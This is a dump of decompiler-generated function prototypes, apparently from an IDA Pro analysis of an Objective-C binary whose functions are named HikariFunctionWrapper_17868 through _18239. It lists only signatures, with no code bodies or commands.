__int64 __fastcall HikariFunctionWrapper_17868(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17869(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17870(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17871(__int64 a1);
id __fastcall HikariFunctionWrapper_17872(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17873(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17874(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17875(void *a1);
id __fastcall HikariFunctionWrapper_17876(objc_class *a1);
id __fastcall HikariFunctionWrapper_17877(objc_class *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17878(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17879(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17880(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17881(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17882(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17883(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17884(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17885(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17886(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17887(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17888(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17889(NSString *a1);
id __fastcall HikariFunctionWrapper_17890(void *a1);
id __fastcall HikariFunctionWrapper_17891(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17892(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17893(NSString *a1);
id __fastcall HikariFunctionWrapper_17894(objc_class *a1);
id __fastcall HikariFunctionWrapper_17895(objc_class *a1);
id __fastcall HikariFunctionWrapper_17896(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17897(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17898(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17899(NSString *a1);
id __fastcall HikariFunctionWrapper_17900(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17901(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17902(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17903(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17904(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17905(void *a1);
id __fastcall HikariFunctionWrapper_17906(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17907(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17908(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17909(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_17910(pid_t a1, int a2);
int __fastcall HikariFunctionWrapper_17911(pid_t a1, int a2);
int __fastcall HikariFunctionWrapper_17912(pid_t a1, int a2);
int __fastcall HikariFunctionWrapper_17913(pid_t a1, int a2);
id __fastcall HikariFunctionWrapper_17914(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17915(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17916(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17917(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17918(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17919(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17920(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17921(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17922(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17923(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17924(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17925(NSString *a1);
id __fastcall HikariFunctionWrapper_17926(void *a1);
id __fastcall HikariFunctionWrapper_17927(void *a1);
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17928();
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17929();
id __fastcall HikariFunctionWrapper_17930(objc_class *a1);
id __fastcall HikariFunctionWrapper_17931(objc_class *a1);
id __fastcall HikariFunctionWrapper_17932(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17933(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17934(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17935(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17936(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17937(void *a1);
id __fastcall HikariFunctionWrapper_17938(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17939(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_17940(pid_t a1, int a2);
int __fastcall HikariFunctionWrapper_17941(pid_t a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17942(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17943(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17944(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17945(NSString *a1);
int *HikariFunctionWrapper_17946();
int *HikariFunctionWrapper_17947();
id __fastcall HikariFunctionWrapper_17948(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17949(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17950(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17951(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17952(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17953(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17954(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17955(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17956(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17957(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17958(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17959(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17960(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17961(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17962(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17963(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17964(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17965(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17966(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17967(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17968(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17969(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17970(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17971(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17972(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17973(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17974(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17975(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17976(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_17977(void *a1);
int __fastcall HikariFunctionWrapper_17978(const char *a1);
int __fastcall HikariFunctionWrapper_17979(const char *a1);
__int64 __fastcall HikariFunctionWrapper_17980(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17981(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17982(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17983(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17984(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17985(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17986(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17987(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17988(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17989(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17990(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17991(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17992(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17993(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_17994(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_17995(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_17996(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17997(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17998(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_17999(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18000(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18001(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18002(objc_class *a1);
id __fastcall HikariFunctionWrapper_18003(objc_class *a1);
id __fastcall HikariFunctionWrapper_18004(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18005(void *a1, const char *a2);
bool __fastcall HikariFunctionWrapper_18006(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_18007(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
id __fastcall HikariFunctionWrapper_18008(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18009(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18010(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18011(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18012(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18013(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18014(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18015(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18016(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18017(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18018(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18019(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18020(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18021(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18022(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18023(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18024(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18025(__int64 a1);
int __fastcall HikariFunctionWrapper_18026(const char *a1, const char *a2);
int __fastcall HikariFunctionWrapper_18027(const char *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18028(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18029(__int64 a1);
time_t __fastcall HikariFunctionWrapper_18030(time_t *a1);
time_t __fastcall HikariFunctionWrapper_18031(time_t *a1);
time_t __fastcall HikariFunctionWrapper_18032(time_t *a1);
time_t __fastcall HikariFunctionWrapper_18033(time_t *a1);
time_t __fastcall HikariFunctionWrapper_18034(time_t *a1);
time_t __fastcall HikariFunctionWrapper_18035(time_t *a1);
id __fastcall HikariFunctionWrapper_18036(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18037(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18038(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18039(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18040(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18041(NSString *a1);
id __fastcall HikariFunctionWrapper_18042(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18043(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18044(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18045(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18046(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18047(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18048(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18049(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18050(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18051(void *a1, const char *a2);
bool __fastcall HikariFunctionWrapper_18052(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
bool __fastcall HikariFunctionWrapper_18053(__int64 a1, __int64 a2, __int64 a3, __int64 a4);
id __fastcall HikariFunctionWrapper_18054(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18055(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18056(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18057(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18058(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18059(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18060(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18061(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18062(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18063(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18064(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18065(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18066(objc_class *a1);
id __fastcall HikariFunctionWrapper_18067(objc_class *a1);
id __fastcall HikariFunctionWrapper_18068(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18069(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18070(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18071(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18072(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18073(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18074(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18075(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18076(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18077(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18078(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18079(__int64 a1);
id __fastcall HikariFunctionWrapper_18080(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18081(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18082(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18083(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18084(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18085(void *a1);
id __fastcall HikariFunctionWrapper_18086(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18087(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18088(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18089(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18090(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18091(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18092(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18093(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18094(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18095(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18096(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18097(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18098(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18099(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18100(objc_class *a1);
id __fastcall HikariFunctionWrapper_18101(objc_class *a1);
id __fastcall HikariFunctionWrapper_18102(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18103(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18104(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18105(NSString *a1);
id __fastcall HikariFunctionWrapper_18106(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18107(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18108(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18109(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18110(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18111(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18112(void *a1);
id __fastcall HikariFunctionWrapper_18113(void *a1);
__int64 __fastcall HikariFunctionWrapper_18114(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18115(__int64 a1);
id __fastcall HikariFunctionWrapper_18116(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18117(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18118(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18119(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18120(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18121(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18122(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18123(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18124(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18125(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18126(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18127(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18128(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18129(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18130(objc_class *a1);
id __fastcall HikariFunctionWrapper_18131(objc_class *a1);
id __fastcall HikariFunctionWrapper_18132(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18133(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18134(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18135(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18136(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18137(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18138(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18139(NSString *a1);
id __fastcall HikariFunctionWrapper_18140(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18141(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18142(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18143(NSString *a1);
id __fastcall HikariFunctionWrapper_18144(void *a1);
id __fastcall HikariFunctionWrapper_18145(void *a1);
id __fastcall HikariFunctionWrapper_18146(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18147(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18148(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18149(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18150(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18151(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18152(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18153(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18154(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18155(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18156(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18157(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18158(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18159(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18160(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18161(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18162(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18163(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18164(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18165(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18166(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18167(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18168(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18169(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18170(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18171(NSString *a1);
__int64 __fastcall HikariFunctionWrapper_18172(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18173(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18174(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18175(__int64 a1);
int __fastcall HikariFunctionWrapper_18176(char *a1, size_t a2, const char *a3);
int __fastcall HikariFunctionWrapper_18177(char *a1, size_t a2, const char *a3);
id __fastcall HikariFunctionWrapper_18178(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18179(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18180(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18181(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18182(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18183(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18184(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18185(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18186(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18187(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18188(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18189(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18190(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18191(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18192(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18193(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18194(objc_class *a1);
id __fastcall HikariFunctionWrapper_18195(objc_class *a1);
id __fastcall HikariFunctionWrapper_18196(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18197(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18198(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18199(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18200(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18201(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18202(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18203(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18204(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18205(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18206(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18207(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18208(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18209(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18210(NSString *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18211(NSString *a1);
id __fastcall HikariFunctionWrapper_18212(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18213(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18214(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18215(void *a1);
id __fastcall HikariFunctionWrapper_18216(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18217(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18218(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18219(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18220(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18221(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18222(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18223(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18224(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18225(void *a1, const char *a2);
__int64 __fastcall HikariFunctionWrapper_18226(__int64 a1);
__int64 __fastcall HikariFunctionWrapper_18227(__int64 a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18228(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18229(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18230(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_18231(void *a1);
__int64 __fastcall HikariFunctionWrapper_18232(__int64 a1, __int64 a2);
__int64 __fastcall HikariFunctionWrapper_18233(__int64 a1, __int64 a2);
id __fastcall HikariFunctionWrapper_18234(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18235(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18236(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18237(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18238(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_18239(void *a1, const char *a2);
